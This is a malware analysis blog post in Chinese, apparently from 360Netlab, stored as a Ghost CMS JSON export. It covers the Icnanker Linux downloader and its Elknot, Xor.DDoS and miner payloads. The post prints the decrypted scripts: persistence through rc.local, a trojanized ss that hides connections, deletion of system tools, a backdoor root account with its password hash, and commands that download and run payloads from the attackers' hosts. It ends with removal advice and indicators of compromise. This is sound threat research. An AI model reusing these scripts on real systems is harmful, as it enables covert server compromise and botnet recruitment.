{"version":"0.3.1","atoms":[],"cards":[["markdown",{"markdown":"## 背景介绍\n\n2019年8月15日，360Netlab恶意流量检测系统发现一个通过SSH传播的未知ELF样本(5790dedae465994d179c63782e51bac1)产生了Elknot Botnet的相关网络流量，经分析这是一个使用了\"SHC(Shell script compiler)\"技术的Trojan-Downloader，作者是老牌玩家icnanker。icnanker其人于2015年被网络曝光，擅长脚本编程，性格高调，喜欢在脚本中留下名字，QQ等印记。\n此次攻击，在我们看来没有太多的新颖性，因此并没有公开。\n2020年3月12日，友商IntezerLab将一变种(6abe83ee8481b5ce0894d837eabb41df)检测为[Icnanker](https://twitter.com/IntezerLabs/status/1238090121624379392)。我们在看了这篇文档之后，觉得还是值得写一笔，因为IntezerLab漏了几个有意思的细节:\n* SHC技术 \n* Icananker的分类及其功能\n* Icananker分发的业务 \n\n## 概览\n\nIcnanker是我们观察到的第一个使用[SHC](https://github.com/neurobin/shc)技术的家族，针对Linux平台，其名字源于脚本中作者的标识“by icnanker”字串。\n目前Icnanker的样本按照功能可以分成2大类：\n* Downloader\nDownloader用于DDos,Miner等业务，目前下载的业务样本有Elknot Botnet, Xor Botnet, XMRMiner等，在Icnanker相关的HFS服务器上我们可以看到下载量已达20000+，且以每天500+的速度增长。\n<a href=\"__GHOST_URL__/content/images/2020/03/shc_hfs-3.png\"><img src=\"__GHOST_URL__/content/images/2020/03/shc_hfs-3.png\" class=\"kg-image\"/></a>\n* Protector\nProtector用于保护样本不被删除，目前用于保护Miner。\n\nDownloader的主要功能如下：\n\n* 持久化\n* 隐藏自身\n* 删除系统命令\n* 增加新用户\n* 下载执行具体业务样本\n\nProtector的主要功能如下\n* 删除系统命令，保护自身不被删除\n## 逆向分析\n本文的选取的分析对象为以下2个样本，\n==187fa428ed44f006df0c8232be4a6e4e==为Miner的Protector，\n==5790dedae465994d179c63782e51bac1==为Elknot Botnet的Downloader。\n>MD5:5790dedae465994d179c63782e51bac1\n>\n>ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.6.24, BuildID[sha1]=8368ecf43c311327ed1b8e011f25b87ceef7f065, stripped\n>\n>Packer: No\n>\n>**Verdict:Malicious,Downloader**\n\n>187fa428ed44f006df0c8232be4a6e4e\n>ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.6.24, stripped\n>\n>Packer:No\n>\n>**Verdict:Malicious,Protector**\n\n在Windows平台有将BAT脚本打包成可执行文件的技术，称之为Bat2Exe，与其相似的，在Linux平台，可以用过开源的\"SHC(Shell script compiler)\"技术将Shell脚本打包成可执行文件。SHC使用RC4算法加密原始脚本，其生成的ELF文件有非常明显的特征:RC4解密函数一共调用14次;同时还存在许多独特的字符串,安全研究员可以依此判断ELF是否为SHC生成。\n <a href=\"__GHOST_URL__/content/images/2020/03/shc_flag.png\"><img src=\"__GHOST_URL__/content/images/2020/03/shc_flag.png\" class=\"kg-image\"/></a>\n依前文所述，我们可以使用RC4算法手动的解出原始脚本，另一个选择是使用[UnSHc](https://github.com/yanncam/UnSHc)直接解密出脚本\n```bash\n[*] Extracting each args address and size for the 14 arc4() calls with address [0x8048f65]...\n\t[0] Working with var address at offset [0x80ed087] (0x2a bytes)\n\t[1] Working with var address at offset [0x80ed0df] (0x1 bytes)\n                            ...............\n\t[12] Working with var address at offset [0x80f1280] (0x13 bytes)\n\t[13] Working with var address at offset [0x80f12b1] (0x13 bytes)\n[*] Extracting password...\n\t[+] PWD address found : [0x80f12ed]\n\t[+] PWD size found : [0x100]\n[*] Executing [/tmp/kjGnQn] to decrypt [5790dedae465994d179c63782e51bac1]\n[*] Retrieving initial source code in [5790dedae465994d179c63782e51bac1.sh]\n[*] All done!\n                            ...............\n[*] Executing [/tmp/GRsVsP] to decrypt [187fa428ed44f006df0c8232be4a6e4e]\n[*] Retrieving initial source code in [187fa428ed44f006df0c8232be4a6e4e.sh]\n[*] All done!\n\n\n```\n### Protector(187fa428ed44f006df0c8232be4a6e4e.sh)\n```\n#!/bin/bash\ncp -f /usr/bin/chattr /usr/bin/lockr\ncp -f /usr/bin/chattr /usr/bin/.locks\ncp -f /usr/bin/.locks /usr/bin/lockr\nchmod 777 /usr/bin/lockr\nchmod 777 /usr/bin/.locks\nlockr +i /usr/bin/lockr >/dev/null 2>&1\nlockr +i /usr/bin/.locks >/dev/null 2>&1\n.locks -i /usr/bin/lockr;chmod 777 /usr/bin/lockr\nlockr +i /usr/bin/lockr >/dev/null 2>&1\ncp -f /usr/bin/lsattr /usr/bin/lockrc\ncp -f /usr/bin/lsattr /usr/bin/.locksc\ncp -f /usr/bin/.locksc /usr/bin/lockrc\nchmod 777 /usr/bin/lockrc\nchmod 777 /usr/bin/.locksc\nlockr +i /usr/bin/lockrc >/dev/null 2>&1\nlockr +i /usr/bin/.locksc >/dev/null 2>&1\n.locks -i /usr/bin/lockrc;chmod 777 /usr/bin/lockrc\nlockr +i /usr/bin/lockrc >/dev/null 2>&1\nrm -rf /usr/bin/lsattr\nrm -rf /usr/bin/chattr\nlockr +a /var/spool/cron/crontabs/root\nlockr +i /var/spool/cron/crontabs/root\nlockr +a /var/spool/cron/root\nlockr +i /var/spool/cron/root\nlockr +i /usr/lib/.cache/\nlockr +i /usr/lib/.cache\nrm -f $0\n```\n在此脚本中我们可以清楚的看到系统命令chattr,lsattr被重命名，被删除，同时Miner所在的目录.cache被保护起来了，加上immutable属性防止被删除。\n\n### Downloader(5790dedae465994d179c63782e51bac1.sh)\n```bash\n    －－－－－－－－－－－－from 5790dedae465994d179c63782e51bac1.sh－－－－－－－－－－\n                ...............\n    echo \"byicnanker 2228668564\" > $Config\n\ttempfile=`cat $Config | awk '{print $1}'`\n\tfiletemp=\"/usr/bin/$tempfile\" #现马的路径\n\tfilename=`date +%s%N | md5sum | head -c 10`\n\tfilepath=\"/usr/bin/$filename\" #新马的路径\n\ttempbash=`cat $Config | awk '{print $2}'`\n\tbashtemp=\"/usr/bin/$tempbash\" #现脚本路径\n\tbashname=`date +%s%N | md5sum | head -c 10`\n\tbashpath=\"/usr/bin/$bashname\" #新脚本路径\n               ...............\n```\n此脚本中有着典型的icnanker风格，我们可以清楚地看到icnanker标识，QQ，中文注释等。\n由于脚本是明文，不存在混淆，所以功能都是一目了然的，主要有5个功能。\n* 持久化，通过re.local实现自启动。\n```\n  # by icnanker -----------------------------------------------\n  Repeatstart=`cat /etc/rc.local | grep 'start'| wc -l`\n  if [ $Repeatstart != 1 ];then\n  \tlockr -i /etc/rc.local;sed -i '/start/d' /etc/rc.local\n  fi\n  if [ -z \"`cat /etc/rc.local | grep \"$bashtemp\"`\" ]; then\n  \tif [ -z \"`cat /etc/rc.local | grep \"$exit0\"`\" ]; then\n  \t\tlockr -i /etc/;lockr -i /etc/rc.local\n  \t\techo \"$bashpath start\" >> /etc/rc.local\n  \telse\n  \t\tlockr -i /etc/;lockr -i /etc/rc.local\n  \t\tsed -i \"s|exit 0|$bashpath start|\" /etc/rc.local\n  \t\techo \"exit 0\">>/etc/rc.local\n  \tfi\n  fi\n```\n* 隐藏自身,使得ss,ps,netstat等管理工具都无法探测到样本相关的进程，网络连接。\n```\nif [ -f /bin/ss ];then\n\tif [ ! -f \"$iss\" ];then\n\t\tif [ ! -f \"$issbak\" ];then\n\t\t\tlockr -i /usr/bin/;mkdir /usr/bin/dpkgd/\n\t\t\tcp -f /bin/ss $issbak\n\t\t\tcp -f /bin/ss $iss\n\t\telse\n\t\t\tcp -f $issbak $iss\n\t\tfi\n\t\tchmod 777 $iss;chmod 777 $issbak\n\t\tlockr +i $issbak >/dev/null 2>&1\n\t\tlockr +i $iss >/dev/null 2>&1\n\telse\n\t\tif [ ! -f \"$issbak\" ];then\n\t\t\tlockr -i /usr/bin/;cp -f $iss $issbak\n\t\t\tlockr +i $issbak >/dev/null 2>&1\n\t\tfi\t\n\t\tif [ -z \"`cat /bin/ss | grep $Address`\" ]; then\n\t\t\tlockr -i /bin/;lockr -i /bin/ss\n\t\t\techo '#!/bin/sh' > /bin/ss\n\t\t\techo 'iss|grep -v \"'$Address'\"' >> /bin/ss\n\t\t\techo 'exit' >> /bin/ss\n\t\t\tchmod 777 /bin/ss;lockr +i /bin/ss >/dev/null 2>&1\n\t\tfi\n\tfi\nfi\n\n```\n* 删除系统指令,增加修复难度。\n```\nlockr -i /usr/bin/;\nlockr -i /usr/bin/wget;\nrm -f /usr/bin/wget;\nlockr -i /usr/bin/chattr;\nrm -f /usr/bin/chattr\n```\n* 增加新用户(ntps),方便后续控制受害者机器\n```\n  # by icnanker -----------------------------------------------\n  if [ -z \"`cat /etc/passwd|grep \"ntps\"`\" ]; then\n  \tlockr -i /etc/;lockr -i /etc/passwd #ntps\n  \techo 'ntps:x:0:1:ntps:/root:/bin/bash' >> /etc/passwd\n  \tlockr -i /etc/;lockr +i /etc/passwd >/dev/null 2>&1\n  fi\n  if [ -z \"`cat /etc/shadow|grep \"ntps\"`\" ]; then\n  \tlockr -i /etc/;lockr -i /etc/shadow #tianyong\n  \techo 'ntps:$6$J6RdL6Xh$udhpd5iErOxXyZSERCi0NOtoXE9J095xDRo4DJfCoTEsImcxype6iltDL8pTG7w/7Gbp9Ohrii9O.4NnxqG/h.:16583:0:99999:7:::' >> /etc/shadow\n  \tlockr -i /etc/;lockr +i /etc/shadow >/dev/null 2>&1\n  fi\n```\n\n* 下载执行具体业务样本,此处为Elknot Botnet。\n```\n  # by icnanker -----------------------------------------------\n  iptable=`iptables -L INPUT | grep \"$Address\" | grep 'ACCEPT'`\n  if [ -z \"$iptable\" ];then\n  \tiptables -I INPUT -s $Address -j ACCEPT\n  else\n  \tiptables -D INPUT -s $Address -j DROP\n  fi\n  process=`ips -ef | grep \"$tempfile\" | grep -v \"grep\" | wc -l`\n  if [ $process != 1 ];then\n  \tif [ ! -f \"$filebak\" ];then\n  \t\tlockr -i /usr/bin/;lockr -i /usr/bin/htrdpm;rm -f /usr/bin/htrdpm\n  \t\tcd /usr/bin/;dget http[://hfs.ubtv.xyz:22345/htrdpm\n  \t\tcd $path;mv -f /usr/bin/htrdpm $filepath\n  \telse\n  \t\tcp -f $filebak $filepath\n  \tfi\n  \tRunkillallconnect\n  \tchmod 777 $filepath\n  \tnohup $filepath >/dev/null 2>&1 &\n  fi\n```\n至此，Icnanker实现了开机自启动，能够持续控制受害者，拥有隐蔽性强，不易被检测，难修复等特点，同时Icnanker的配置也非常灵活，从一个业务迁移到另一个业务时，只需改变业务所要解析的网络地址及业务样本地址即可。\n以elknot VS miner为例\n```\nelknot\n\nResolveIP=`nslookup [ddd.ubtv.xyz|grep \"Address: \"|awk '{print $2}'`\nif [ -z \"$ResolveIP\" ];then\n\tlockr -i /etc/;lockr -i /etc/resolv.conf\n\techo 'nameserver 114.114.114.114' > /etc/resolv.conf\n\techo 'nameserver 8.8.8.8' >> /etc/resolv.conf\n\techo 'nameserver 8.8.4.4' >> /etc/resolv.conf\n\tlockr +i /etc/resolv.conf >/dev/null 2>&1\n\tservice network restart;sleep 1\n\tAddress=`nslookup ddd.ubtv.xyz|grep \"Address: \"|awk '{print $2}'`\nelse\n\tAddress=\"$ResolveIP\"\nfi\ndget http[://hfs.ubtv.xyz:22345/htrdpm\n\n-------------------------------------------VS----------------------------------------\n\nminer\n\nResolveIP=`nslookup p[ool.supportxmr.com|grep \"Address: \"|awk '{print $2}'`\nif [ -z \"$ResolveIP\" ];then\n\tlockr -i /etc/;lockr -i /etc/resolv.conf\n\techo 'nameserver 114.114.114.114' > /etc/resolv.conf\n\techo 'nameserver 8.8.8.8' >> /etc/resolv.conf\n\techo 'nameserver 8.8.4.4' >> /etc/resolv.conf\n\tlockr +i /etc/resolv.conf >/dev/null 2>&1\n\tservice network restart;sleep 1\n\tAddress=`nslookup p[ool.supportxmr.com|grep \"Address: \"|awk '{print $2}'`\nelse\n\tAddress=\"$ResolveIP\"\nfi\ndget http[://xz.jave.xyz:22345/.xm\n```\n\n\n目前观测到的Downloader及其业务如下所示，当前的主要业务为miner。\n| filename  | md5                              | payload type  | payload url                            |\n| --------- | -------------------------------- | ------------- | -------------------------------------- |\n| 80        | 5790dedae465994d179c63782e51bac1 | elknot botnet | http[://hfs.ubtv.xyz:22345/htrdpm |\n| .ds1;.ds2 | 6abe83ee8481b5ce0894d837eabb41df | miner         | http[://xz.jave.xyz:22345/.xm           |\n| .ssh      | 89cd1ebfa5757dca1286fd925e0762de | elknot botnet | http[://hfs.ubtv.xyz:22345/htrdpm      |\n| 19880     | d989e81c4eb23c1e701024ed26f55849 | elknot botnet | http[://hfs.ubtv.xyz:22345/htrdps       |\n\n\n## 业务样本\n\n  Icnanker的业务样本存在其HFS服务上，目前观测到的都是老牌家族：Elknot Botnet, Xor Botnet,以及XMR的矿机。\n\n* Elknot Botnet\n\n  | filename  | md5                              | c2                                    |\n  | --------- | -------------------------------- | ------------------------------------- |\n  | htrdps    | 5c90bfbae5c030da91c9054ecb3194b6 | ubt.ubtv.xyz:19880, jav.jave.xyz:6001 |\n  | kcompact0 | eec19f1639871b6e6356e7ee05db8a94 | sys.jave.xyz:1764, jav.jave.xyz:6001  |\n\n* Xor.DDoS Botnet\n\n  | filename | md5                              | c2                                                       |\n  | -------- | -------------------------------- | -------------------------------------------------------- |\n  | ss       | 0764da93868218d6ae999ed7bd66a98e | 8uch.jave.xyz:3478,8uc1.jave.xyz:1987,8uc2.ubtv.xyz:2987 |\n\n* Miner\n\n  | filename | md5                              | c2   |\n  | -------- | -------------------------------- | ---- |\n  | sh       | 17ac3bd2753b900367cb9ee4068fe0c1 |      |\n  | .xm      | 765a0899cb87400e8a27ab572f3cdd61 |      |\n## 处置建议\n我们建议用户根据Icnanker的帐号创建，文件名及与HFS服务器的网络通信，判断是否感染，然后清理它的相关进程，文件。\n相关安全和执法机构，可以邮件联系netlab[at]360.cn交流更多信息。\n## 联系我们\n感兴趣的读者，可以在 [Twitter](https://twitter.com/360Netlab) 或者在微信公众号 360Netlab 上联系我们。\n## IoC list\n### Sample MD5\n```\n5790dedae465994d179c63782e51bac1\n6abe83ee8481b5ce0894d837eabb41df\n89cd1ebfa5757dca1286fd925e0762de\nd989e81c4eb23c1e701024ed26f55849\n5c90bfbae5c030da91c9054ecb3194b6\neec19f1639871b6e6356e7ee05db8a94\n0764da93868218d6ae999ed7bd66a98e\n17ac3bd2753b900367cb9ee4068fe0c1\n765a0899cb87400e8a27ab572f3cdd61\n187fa428ed44f006df0c8232be4a6e4e\n```\n \n### CC\n```\nubt.ubtv.xyz:19880 #Elknot\nsys.jave.xyz:1764  #Elknot\njav.jave.xyz:6001  #Elknot\n8uch.jave.xyz:3478 #Xor.DDoS\n8uc1.jave.xyz:1987 #Xor.DDoS\n8uc2.ubtv.xyz:2987 #Xor.DDoS\nxz.jave.xyz:22345  #Icnanker HFS\n```"}]],"markups":[],"sections":[[10,0],[1,"p",[]]],"ghostVersion":"3.0"}